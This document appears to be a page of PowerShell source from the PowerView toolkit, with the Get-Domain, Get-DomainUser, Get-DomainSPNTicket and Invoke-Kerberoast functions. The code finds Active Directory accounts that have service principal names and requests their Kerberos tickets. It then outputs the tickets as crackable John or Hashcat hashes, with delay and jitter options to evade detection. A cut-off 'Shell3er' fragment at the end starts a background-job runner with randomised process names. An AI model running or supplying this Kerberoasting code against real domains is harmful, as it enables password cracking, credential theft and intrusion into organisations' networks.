```
error: $_"
                    $ObjectProperties[$_] = $Prop[$_]
                }
            }
            elseif ($Properties[$_].count -eq 1) {
                $ObjectProperties[$_] = $Properties[$_][0]
            }
            else {
                $ObjectProperties[$_] = $Properties[$_]
            }
        }
    }
    try {
        New-Object -TypeName PSObject -Property $ObjectPro
perties
    }
    catch {
        Write-Warning "[Convert-LDAPProperty] Error parsin
g LDAP properties : $_"
    }
}


function Get-Domain {
<#
.SYNOPSIS
Returns the domain object for the current (or specified) d
omain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Domain
object for the current
domain or the domain specified with -Domain X.
.PARAMETER Domain
```

```
Specifies the domain name to query for, defaults to the cu
rrent domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate
credentials
for connection to the target domain.
.EXAMPLE
Get-Domain -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPl
ainText -Force
$Cred = New-Object System.Management.Automation.PSCredenti
al('TESTLAB\dfm.a', $SecPassword)
Get-Domain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
A complex .NET domain object.
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en
-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of
-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>

    [OutputType([System.DirectoryServices.ActiveDirectory.
Domain])]
    [CmdletBinding()]
    Param(
        [Parameter(Position = 0, ValueFromPipeline = $Tru
e)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Domain,

        [Management.Automation.PSCredential]
        [Management.Automation.CredentialAttribute()]
        $Credential = [Management.Automation.PSCredentia
```

```
l]::Empty
    )

    PROCESS {
        if ($PSBoundParameters['Credential']) {

            Write-Verbose '[Get-Domain] Using alternate cr
edentials for Get-Domain'

            if ($PSBoundParameters['Domain']) {
                $TargetDomain = $Domain
            }
            else {
                # if no domain is supplied, extract the lo
gon domain from the PSCredential passed
                $TargetDomain = $Credential.GetNetworkCred
ential().Domain
                Write-Verbose "[Get-Domain] Extracted doma
in '$TargetDomain' from -Credential"
            }

            $DomainContext = New-Object System.DirectorySe
rvices.ActiveDirectory.DirectoryContext('Domain', $TargetD
omain, $Credential.UserName, $Credential.GetNetworkCredent
ial().Password)

            try {
                [System.DirectoryServices.ActiveDirectory.
Domain]::GetDomain($DomainContext)
            }
            catch {
                Write-Verbose "[Get-Domain] The specified
domain '$TargetDomain' does not exist, could not be contac
ted, there isn't an existing trust, or the specified crede
ntials are invalid: $_"
            }
```

```
        }
        elseif ($PSBoundParameters['Domain']) {
            $DomainContext = New-Object System.DirectorySe
rvices.ActiveDirectory.DirectoryContext('Domain', $Domain)
            try {
                [System.DirectoryServices.ActiveDirectory.
Domain]::GetDomain($DomainContext)
            }
            catch {
                Write-Verbose "[Get-Domain] The specified
domain '$Domain' does not exist, could not be contacted, o
r there isn't an existing trust : $_"
            }
        }
        else {
            try {
                [System.DirectoryServices.ActiveDirectory.
Domain]::GetCurrentDomain()
            }
            catch {
                Write-Verbose "[Get-Domain] Error retrievi
ng the current domain: $_"
            }
        }
    }
}



function Get-DomainSPNTicket {
<#
.SYNOPSIS

Request the kerberos ticket for a specified service princi
pal name (SPN).
```

```
Author: machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-Re
vertToSelf

.DESCRIPTION

This function will either take one/more SPN strings, or on
e/more PowerView.User objects
(the output from Get-DomainUser) and will request a kerber
os ticket for the given SPN
using System.IdentityModel.Tokens.KerberosRequestorSecurit
yToken. The encrypted
portion of the ticket is then extracted and output in eith
er crackable John or Hashcat
format (deafult of John).

.PARAMETER SPN

Specifies the service principal name to request the ticket
for.

.PARAMETER User

Specifies a PowerView.User object (result of Get-DomainUse
r) to request the ticket for.

.PARAMETER OutputFormat

Either 'John' for John the Ripper style hash formatting, o
r 'Hashcat' for Hashcat format.
Defaults to 'John'.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate
```

```
credentials
for connection to the remote domain using Invoke-UserImper
sonation.

.PARAMETER Delay

Specifies the delay in seconds between ticket requests.

.PARAMETER Jitter

Specifies the jitter (0-1.0) to apply to any specified -De
lay, defaults to +/- 0.3

.EXAMPLE

Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"

Request a kerberos service ticket for the specified SPN.

.EXAMPLE

"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-
DomainSPNTicket

Request kerberos service tickets for all SPNs passed on th
e pipeline.

.EXAMPLE

Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Ha
shcat

Request kerberos service tickets for all users with non-nu
ll SPNs and output in Hashcat format.

.INPUTS
```

```
String

Accepts one or more SPN strings on the pipeline with the R
awSPN parameter set.

.INPUTS

PowerView.User

Accepts one or more PowerView.User objects on the pipeline
with the User parameter set.

.OUTPUTS

PowerView.SPNTicket

Outputs a custom object containing the SamAccountName, Ser
vicePrincipalName, and encrypted ticket section.
#>

    [OutputType('PowerView.SPNTicket')]
    [CmdletBinding(DefaultParameterSetName = 'RawSPN')]
    Param (
        [Parameter(Position = 0, ParameterSetName = 'RawSP
N', Mandatory = $True, ValueFromPipeline = $True)]
        [ValidatePattern('.*/.*')]
        [Alias('ServicePrincipalName')]
        [String[]]
        $SPN,

        [Parameter(Position = 0, ParameterSetName = 'Use
r', Mandatory = $True, ValueFromPipeline = $True)]
        [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'Po
werView.User' })]
        [Object[]]
```

```
        $User,

        [ValidateSet('John', 'Hashcat')]
        [Alias('Format')]
        [String]
        $OutputFormat = 'John',

        [ValidateRange(0,10000)]
        [Int]
        $Delay = 0,

        [ValidateRange(0.0, 1.0)]
        [Double]
        $Jitter = .3,

        [Management.Automation.PSCredential]
        [Management.Automation.CredentialAttribute()]
        $Credential = [Management.Automation.PSCredentia
l]::Empty
    )

    BEGIN {
        $Null = [Reflection.Assembly]::LoadWithPartialName
('System.IdentityModel')

        if ($PSBoundParameters['Credential']) {
            $LogonToken = Invoke-UserImpersonation -Creden
tial $Credential
        }
    }

    PROCESS {
        if ($PSBoundParameters['User']) {
            $TargetObject = $User
        }
        else {
```

```
            $TargetObject = $SPN
        }

    $RandNo = New-Object System.Random

        ForEach ($Object in $TargetObject) {

            if ($PSBoundParameters['User']) {
                $UserSPN = $Object.ServicePrincipalName
                $SamAccountName = $Object.SamAccountName
                $DistinguishedName = $Object.Distinguished
Name
            }
            else {
                $UserSPN = $Object
                $SamAccountName = 'UNKNOWN'
                $DistinguishedName = 'UNKNOWN'
            }

            # if a user has multiple SPNs we only take the
first one otherwise the service ticket request fails miser
ably :) -@st3r30byt3
            if ($UserSPN -is [System.DirectoryServices.Res
ultPropertyValueCollection]) {
                $UserSPN = $UserSPN[0]
            }

            try {
                $Ticket = New-Object System.IdentityModel.
Tokens.KerberosRequestorSecurityToken -ArgumentList $UserS
PN
            }
            catch {
                Write-Warning "[Get-DomainSPNTicket] Error
requesting ticket for SPN '$UserSPN' from user '$Distingui
shedName' : $_"
```

```
            }
            if ($Ticket) {
                $TicketByteStream = $Ticket.GetRequest()
            }
            if ($TicketByteStream) {
                $Out = New-Object PSObject

                $TicketHexStream = [System.BitConverter]::
ToString($TicketByteStream) -replace '-'

                # TicketHexStream == GSS-API Frame (see ht
tps://tools.ietf.org/html/rfc4121#section-4.1)
                # No easy way to parse ASN1, so we'll try
some janky regex to parse the embedded KRB_AP_REQ.Ticket o
bject
                if($TicketHexStream -match 'a382....308
2....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTe
xtLen>....)........(?<DataToEnd>.+)') {
                    $Etype = [Convert]::ToByte( $Matches.E
typeLen, 16 )
                    $CipherTextLen = [Convert]::ToUInt32
($Matches.CipherTextLen, 16)-4
                    $CipherText = $Matches.DataToEnd.Subst
ring(0,$CipherTextLen*2)

                    # Make sure the next field matches the
beginning of the KRB_AP_REQ.Authenticator object
                    if($Matches.DataToEnd.Substring($Ciphe
rTextLen*2, 4) -ne 'A482') {
                        Write-Warning 'Error parsing ciphe
rtext for the SPN  $($Ticket.ServicePrincipalName). Use th
e TicketByteHexStream field and extract the hash offline w
ith Get-KerberoastHashFromAPReq"'
                        $Hash = $null
                        $Out | Add-Member Noteproperty 'Ti
cketByteHexStream' ([Bitconverter]::ToString($TicketByteSt
```

```
ream).Replace('-',''))
                    } else {
                        $Hash = "$($CipherText.Substring
(0,32))`$$($CipherText.Substring(32))"
                        $Out | Add-Member Noteproperty 'Ti
cketByteHexStream' $null
                    }
                } else {
                    Write-Warning "Unable to parse ticket
structure for the SPN  $($Ticket.ServicePrincipalName). Us
e the TicketByteHexStream field and extract the hash offli
ne with Get-KerberoastHashFromAPReq"
                    $Hash = $null
                    $Out | Add-Member Noteproperty 'Ticket
ByteHexStream' ([Bitconverter]::ToString($TicketByteStrea
m).Replace('-',''))
                }

                if($Hash) {
                    if ($OutputFormat -match 'John') {
                        $HashFormat = "`$krb5tgs`$$($Ticke
t.ServicePrincipalName):$Hash"
                    }
                    else {
                        if ($DistinguishedName -ne 'UNKNOW
N') {
                            $UserDomain = $DistinguishedNa
me.SubString($DistinguishedName.IndexOf('DC=')) -replace
'DC=','' -replace ',','.'
                        }
                        else {
                            $UserDomain = 'UNKNOWN'
                        }

                        # hashcat output format
                        $HashFormat = "`$krb5tgs`$$($Etyp
```

```
e)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrinci
palName)*`$$Hash"
                    }
                    $Out | Add-Member Noteproperty 'Hash'
$HashFormat
                }

                $Out | Add-Member Noteproperty 'SamAccount
Name' $SamAccountName
                $Out | Add-Member Noteproperty 'Distinguis
hedName' $DistinguishedName
                $Out | Add-Member Noteproperty 'ServicePri
ncipalName' $Ticket.ServicePrincipalName
                $Out.PSObject.TypeNames.Insert(0, 'PowerVi
ew.SPNTicket')
                Write-Output $Out
            }
            # sleep for our semi-randomized interval
            Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*
$Delay, (1+$Jitter)*$Delay)
        }
    }

    END {
        if ($LogonToken) {
            Invoke-RevertToSelf -TokenHandle $LogonToken
        }
    }
}

function Get-DomainUser {
<#
.SYNOPSIS
Return all users or specific user objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
```

```
Required Dependencies: Get-DomainSearcher, Convert-ADName,
Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearche
r, builds a custom
LDAP filter based on targeting/filter parameters, and sear
ches for all objects
matching the criteria. To only return specific properties,
use
"-Properties samaccountname,usnchanged,...". By default, a
ll user objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. C
N=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108),
or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted. Also accepts DOMAIN\user format.
.PARAMETER SPN
Switch. Only return user objects with non-null service pri
ncipal names.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UA
CEnum, including
"NOT_X" negation forms. To see all possible values, run '0
|ConvertFrom-UACValue -ShowAll'.
.PARAMETER AdminCount
Switch. Return users with '(adminCount=1)' (meaning are/we
re privileged).
.PARAMETER AllowDelegation
Switch. Return user accounts that are not marked as 'sensi
tive and not allowed for delegation'
.PARAMETER DisallowDelegation
Switch. Return user accounts that are marked as 'sensitive
and not allowed for delegation'
.PARAMETER TrustedToAuth
```

```
Switch. Return computer objects that are trusted to authen
ticate for other principals.
.PARAMETER PreauthNotRequired
Switch. Return user accounts with "Do not require Kerberos
preauthentication" set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the
current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Acti
ve Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve
from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,
DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) t
o bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree
(default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher objec
t.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends sea
rching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of
a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return del
```

```
eted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate
credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fiel
ds into a custom PSObject.
.EXAMPLE
Get-DomainUser -Domain testlab.local
Return all users for the testlab.local domain
.EXAMPLE
Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1
108","administrator"
Return the user with the given SID, as well as Administrat
or.
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,C
N=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb
0e80d201','administrator' | Get-DomainUser -Properties sam
accountname,lastlogoff
lastlogoff                                samaccountnam
e
----------                                -------------
-
12/31/1600 4:00:00 PM                     dfm.a
12/31/1600 4:00:00 PM                     dfm
12/31/1600 4:00:00 PM                     harmj0y
12/31/1600 4:00:00 PM                     Administrator
.EXAMPLE
Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC
=local" -AdminCount -AllowDelegation
Search the specified OU for privileged user (AdminCount =
1) that allow delegation
```

```
.EXAMPLE
Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Proper
ties samaccountname,lastlogon
Search for users with a primary group ID other than 513
('domain users') and only return samaccountname and lastlo
gon
.EXAMPLE
Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EX
PIRED
Find users who doesn't require Kerberos preauthentication
and DON'T have an expired password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPl
ainText -Force
$Cred = New-Object System.Management.Automation.PSCredenti
al('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
Get-DomainUser dev\user1 -Verbose -Properties distinguishe
dname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMAR
Y.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMAR
Y.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] filter string: (&(samAccountType
=805306368)(|(samAccountName=user1)))
distinguishedname
-----------------
CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
.INPUTS
String
.OUTPUTS
PowerView.User
Custom PSObject with translated user property fields.
```

```
PowerView.User.Raw
The raw DirectoryServices.SearchResult object, if -Raw is
enabled.
#>

    [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PS
UseDeclaredVarsMoreThanAssignments', '')]
    [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PS
ShouldProcess', '')]
    [OutputType('PowerView.User')]
    [OutputType('PowerView.User.Raw')]
    [CmdletBinding(DefaultParameterSetName = 'AllowDelegat
ion')]
    Param(
        [Parameter(Position = 0, ValueFromPipeline = $Tru
e, ValueFromPipelineByPropertyName = $True)]
        [Alias('DistinguishedName', 'SamAccountName', 'Nam
e', 'MemberDistinguishedName', 'MemberName')]
        [String[]]
        $Identity,

        [Switch]
        $SPN,

        [Switch]
        $AdminCount,

        [Parameter(ParameterSetName = 'AllowDelegation')]
        [Switch]
        $AllowDelegation,

        [Parameter(ParameterSetName = 'DisallowDelegatio
n')]
        [Switch]
        $DisallowDelegation,
```

```
        [Switch]
        $TrustedToAuth,

        [Alias('KerberosPreauthNotRequired', 'NoPreauth')]
        [Switch]
        $PreauthNotRequired,

        [ValidateNotNullOrEmpty()]
        [String]
        $Domain,

        [ValidateNotNullOrEmpty()]
        [Alias('Filter')]
        [String]
        $LDAPFilter,

        [ValidateNotNullOrEmpty()]
        [String[]]
        $Properties,

        [ValidateNotNullOrEmpty()]
        [Alias('ADSPath')]
        [String]
        $SearchBase,

        [ValidateNotNullOrEmpty()]
        [Alias('DomainController')]
        [String]
        $Server,

        [ValidateSet('Base', 'OneLevel', 'Subtree')]
        [String]
        $SearchScope = 'Subtree',

        [ValidateRange(1, 10000)]
        [Int]
```

```
        $ResultPageSize = 200,

        [ValidateRange(1, 10000)]
        [Int]
        $ServerTimeLimit,

        [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sa
cl')]
        [String]
        $SecurityMasks,

        [Switch]
        $Tombstone,

        [Alias('ReturnOne')]
        [Switch]
        $FindOne,

        [Management.Automation.PSCredential]
        [Management.Automation.CredentialAttribute()]
        $Credential = [Management.Automation.PSCredentia
l]::Empty,

        [Switch]
        $Raw
    )
<#
    DynamicParam {
        $UACValueNames = [Enum]::GetNames($UACEnum)
        # add in the negations
        $UACValueNames = $UACValueNames | ForEach-Object
{$_; "NOT_$_"}
        # create new dynamic parameter
        New-DynamicParameter -Name UACFilter -ValidateSet
$UACValueNames -Type ([array])
    }
```

```
#>
    BEGIN {
        $SearcherArguments = @{}
        if ($PSBoundParameters['Domain']) { $SearcherArgum
ents['Domain'] = $Domain }
        if ($PSBoundParameters['Properties']) { $SearcherA
rguments['Properties'] = $Properties }
        if ($PSBoundParameters['SearchBase']) { $SearcherA
rguments['SearchBase'] = $SearchBase }
        if ($PSBoundParameters['Server']) { $SearcherArgum
ents['Server'] = $Server }
        if ($PSBoundParameters['SearchScope']) { $Searcher
Arguments['SearchScope'] = $SearchScope }
        if ($PSBoundParameters['ResultPageSize']) { $Searc
herArguments['ResultPageSize'] = $ResultPageSize }
        if ($PSBoundParameters['ServerTimeLimit']) { $Sear
cherArguments['ServerTimeLimit'] = $ServerTimeLimit }
        if ($PSBoundParameters['SecurityMasks']) { $Search
erArguments['SecurityMasks'] = $SecurityMasks }
        if ($PSBoundParameters['Tombstone']) { $SearcherAr
guments['Tombstone'] = $Tombstone }
        if ($PSBoundParameters['Credential']) { $SearcherA
rguments['Credential'] = $Credential }
        $UserSearcher = Get-DomainSearcher @SearcherArgume
nts
    }

    PROCESS {
        #bind dynamic parameter to a friendly variable
        #if ($PSBoundParameters -and ($PSBoundParameters.C
ount -ne 0)) {
        #    New-DynamicParameter -CreateVariables -BoundP
arameters $PSBoundParameters
        #}

        if ($UserSearcher) {
```

```
            $IdentityFilter = ''
            $Filter = ''
            $Identity | Where-Object {$_} | ForEach-Object
{
                $IdentityInstance = $_.Replace('(', '\2
8').Replace(')', '\29')
                if ($IdentityInstance -match '^S-1-') {
                    $IdentityFilter += "(objectsid=$Identi
tyInstance)"
                }
                elseif ($IdentityInstance -match '^CN=') {
                    $IdentityFilter += "(distinguishedname
=$IdentityInstance)"
                    if ((-not $PSBoundParameters['Domai
n']) -and (-not $PSBoundParameters['SearchBase'])) {
                        # if a -Domain isn't explicitly se
t, extract the object domain out of the distinguishedname
                        #   and rebuild the domain searche
r
                        $IdentityDomain = $IdentityInstanc
e.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC
=','' -replace ',','.'
                        Write-Verbose "[Get-DomainUser] Ex
tracted domain '$IdentityDomain' from '$IdentityInstance'"
                        $SearcherArguments['Domain'] = $Id
entityDomain
                        $UserSearcher = Get-DomainSearcher
@SearcherArguments
                        if (-not $UserSearcher) {
                            Write-Warning "[Get-DomainUse
r] Unable to retrieve domain searcher for '$IdentityDomai
n'"
                        }
                    }
                }
                elseif ($IdentityInstance -imatch '^[0-9A-
```

```
F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
                    $GuidByteString = (([Guid]$IdentityIns
tance).ToByteArray() | ForEach-Object { '\' + $_.ToString
('X2') }) -join ''
                    $IdentityFilter += "(objectguid=$GuidB
yteString)"
                }
                elseif ($IdentityInstance.Contains('\')) {
                    $ConvertedIdentityInstance = $Identity
Instance.Replace('\28', '(').Replace('\29', ')') | Convert
-ADName -OutputType Canonical
                    if ($ConvertedIdentityInstance) {
                        $UserDomain = $ConvertedIdentityIn
stance.SubString(0, $ConvertedIdentityInstance.IndexOf
('/'))
                        $UserName = $IdentityInstance.Spli
t('\')[1]
                        $IdentityFilter += "(samAccountNam
e=$UserName)"
                        $SearcherArguments['Domain'] = $Us
erDomain
                        Write-Verbose "[Get-DomainUser] Ex
tracted domain '$UserDomain' from '$IdentityInstance'"
                        $UserSearcher = Get-DomainSearcher
@SearcherArguments
                    }
                }
                else {
                    $IdentityFilter += "(samAccountName=$I
dentityInstance)"
                }
            }

            if ($IdentityFilter -and ($IdentityFilter.Trim
() -ne '') ) {
                $Filter += "(|$IdentityFilter)"
```

```
            }

            if ($PSBoundParameters['SPN']) {
                Write-Verbose '[Get-DomainUser] Searching
for non-null service principal names'
                $Filter += '(servicePrincipalName=*)'
            }
            if ($PSBoundParameters['AllowDelegation']) {
                Write-Verbose '[Get-DomainUser] Searching
for users who can be delegated'
                # negation of "Accounts that are sensitive
and not trusted for delegation"
                $Filter += '(!(userAccountControl:1.2.840.
113556.1.4.803:=1048574))'
            }
            if ($PSBoundParameters['DisallowDelegation'])
{
                Write-Verbose '[Get-DomainUser] Searching
for users who are sensitive and not trusted for delegatio
n'
                $Filter += '(userAccountControl:1.2.840.11
3556.1.4.803:=1048574)'
            }
            if ($PSBoundParameters['AdminCount']) {
                Write-Verbose '[Get-DomainUser] Searching
for adminCount=1'
                $Filter += '(admincount=1)'
            }
            if ($PSBoundParameters['TrustedToAuth']) {
                Write-Verbose '[Get-DomainUser] Searching
for users that are trusted to authenticate for other princ
ipals'
                $Filter += '(msds-allowedtodelegateto=*)'
            }
            if ($PSBoundParameters['PreauthNotRequired'])
{
```

```
                Write-Verbose '[Get-DomainUser] Searching
for user accounts that do not require kerberos preauthenti
cate'
                $Filter += '(userAccountControl:1.2.840.11
3556.1.4.803:=4194304)'
            }
            if ($PSBoundParameters['LDAPFilter']) {
                Write-Verbose "[Get-DomainUser] Using addi
tional LDAP filter: $LDAPFilter"
                $Filter += "$LDAPFilter"
            }

            # build the LDAP filter for the dynamic UAC fi
lter value
            $UACFilter | Where-Object {$_} | ForEach-Objec
t {
                if ($_ -match 'NOT_.*') {
                    $UACField = $_.Substring(4)
                    $UACValue = [Int]($UACEnum::$UACField)
                    $Filter += "(!(userAccountControl:1.2.
840.113556.1.4.803:=$UACValue))"
                }
                else {
                    $UACValue = [Int]($UACEnum::$_)
                    $Filter += "(userAccountControl:1.2.84
0.113556.1.4.803:=$UACValue)"
                }
            }

            $UserSearcher.filter = "(&(samAccountType=8053
06368)$Filter)"
            Write-Verbose "[Get-DomainUser] filter string:
$($UserSearcher.filter)"

            if ($PSBoundParameters['FindOne']) { $Results
= $UserSearcher.FindOne() }
```

```
            else { $Results = $UserSearcher.FindAll() }
            $Results | Where-Object {$_} | ForEach-Object
{
                if ($PSBoundParameters['Raw']) {
                    # return raw result objects
                    $User = $_
                    $User.PSObject.TypeNames.Insert(0, 'Po
werView.User.Raw')
                }
                else {
                    $User = Convert-LDAPProperty -Properti
es $_.Properties
                    $User.PSObject.TypeNames.Insert(0, 'Po
werView.User')
                }
                $User
            }
            if ($Results) {
                try { $Results.dispose() }
                catch {
                    Write-Verbose "[Get-DomainUser] Error
disposing of the Results object: $_"
                }
            }
            $UserSearcher.dispose()
        }
    }
}


function Invoke-Kerberoast {
<#
.SYNOPSIS
Requests service tickets for kerberoast-able accounts and
returns extracted ticket hashes.
Author: Will Schroeder (@harmj0y), @machosec
```

```
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-Re
vertToSelf, Get-DomainUser, Get-DomainSPNTicket
.DESCRIPTION
Uses Get-DomainUser to query for user accounts with non-nu
ll service principle
names (SPNs) and uses Get-SPNTicket to request/extract the
crackable ticket information.
The ticket format can be specified with -OutputFormat <Joh
n/Hashcat>.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. C
N=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108),
or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the
current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Acti
ve Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,
DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) t
o bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree
(default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher objec
t.
.PARAMETER ServerTimeLimit
```

```
Specifies the maximum amount of time the server spends sea
rching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return del
eted/tombstoned objects.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, o
r 'Hashcat' for Hashcat format.
Defaults to 'John'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate
credentials
for connection to the target domain.
.PARAMETER Delay
Specifies the delay in seconds between ticket requests.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -De
lay, defaults to +/- 0.3
.EXAMPLE
Invoke-Kerberoast | fl
Kerberoasts all found SPNs for the current domain.
.EXAMPLE
Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat
HashCat | fl
Kerberoasts all found SPNs for the testlab.local domain, o
utputting to HashCat
format instead of John (the default).
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPl
ainText -orce
$Cred = New-Object System.Management.Automation.PSCredenti
al('TESTLB\dfm.a', $SecPassword)
Invoke-Kerberoast -Credential $Cred -Verbose -Domain testl
ab.local | fl
Kerberoasts all found SPNs for the testlab.local domain us
ing alternate credentials.
```

```
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, Ser
vicePrincipalName, and encrypted ticket section.
#>

    [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PS
ShouldProcess', '')]
    [OutputType('PowerView.SPNTicket')]
    [CmdletBinding()]
    Param(
        [Parameter(Position = 0, ValueFromPipeline = $Tru
e, ValueFromPipelineByPropertyName = $True)]
        [Alias('DistinguishedName', 'SamAccountName', 'Nam
e', 'MemberDistinguishedName', 'MemberName')]
        [String[]]
        $Identity,

        [ValidateNotNullOrEmpty()]
        [String]
        $Domain,

        [ValidateNotNullOrEmpty()]
        [Alias('Filter')]
        [String]
        $LDAPFilter,

        [ValidateNotNullOrEmpty()]
        [Alias('ADSPath')]
        [String]
        $SearchBase,

        [ValidateNotNullOrEmpty()]
        [Alias('DomainController')]
        [String]
        $Server,
```

```
        [ValidateSet('Base', 'OneLevel', 'Subtree')]
        [String]
        $SearchScope = 'Subtree',

        [ValidateRange(1, 10000)]
        [Int]
        $ResultPageSize = 200,

        [ValidateRange(1, 10000)]
        [Int]
        $ServerTimeLimit,

        [Switch]
        $Tombstone,

        [ValidateRange(0,10000)]
        [Int]
        $Delay = 0,

        [ValidateRange(0.0, 1.0)]
        [Double]
        $Jitter = .3,

        [ValidateSet('John', 'Hashcat')]
        [Alias('Format')]
        [String]
        $OutputFormat = 'John',

        [Management.Automation.PSCredential]
        [Management.Automation.CredentialAttribute()]
        $Credential = [Management.Automation.PSCredentia
l]::Empty
    )

    BEGIN {
```

```
        $UserSearcherArguments = @{
            'SPN' = $True
            'Properties' = 'samaccountname,distinguishedna
me,serviceprincipalname'
        }
        if ($PSBoundParameters['Domain']) { $UserSearcherA
rguments['Domain'] = $Domain }
        if ($PSBoundParameters['LDAPFilter']) { $UserSearc
herArguments['LDAPFilter'] = $LDAPFilter }
        if ($PSBoundParameters['SearchBase']) { $UserSearc
herArguments['SearchBase'] = $SearchBase }
        if ($PSBoundParameters['Server']) { $UserSearcherA
rguments['Server'] = $Server }
        if ($PSBoundParameters['SearchScope']) { $UserSear
cherArguments['SearchScope'] = $SearchScope }
        if ($PSBoundParameters['ResultPageSize']) { $UserS
earcherArguments['ResultPageSize'] = $ResultPageSize }
        if ($PSBoundParameters['ServerTimeLimit']) { $User
SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
        if ($PSBoundParameters['Tombstone']) { $UserSearch
erArguments['Tombstone'] = $Tombstone }
        if ($PSBoundParameters['Credential']) { $UserSearc
herArguments['Credential'] = $Credential }

        if ($PSBoundParameters['Credential']) {
            $LogonToken = Invoke-UserImpersonation -Creden
tial $Credential
        }
    }

    PROCESS {
        if ($PSBoundParameters['Identity']) { $UserSearche
rArguments['Identity'] = $Identity }
        Get-DomainUser @UserSearcherArguments | Where-Obje
ct {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket
-Delay $Delay -OutputFormat $OutputFormat -Jitter $Jitter
```

```
    }

    END {
        if ($LogonToken) {
            Invoke-RevertToSelf -TokenHandle $LogonToken
        }
    }
}
```

▼ Shell3er

```
function Get-RandomProcessName {
    return "PS_" + [System.Guid]::NewGuid().ToString()
}

function Run-BackgroundTask {
    param(
        [ScriptBlock]$ScriptBlock,
        [string]$ProcessName
    )

    if (-not $ProcessName) {
        $ProcessName = Get-RandomProcessName
    }

    $JobName = "BackgroundTask_" + [Guid]::NewGuid().ToStr
ing()

    Start-Job -Name $JobName -ScriptBlock $ScriptBlock | O
ut-Null

    $job = Get-Job -Name $JobName

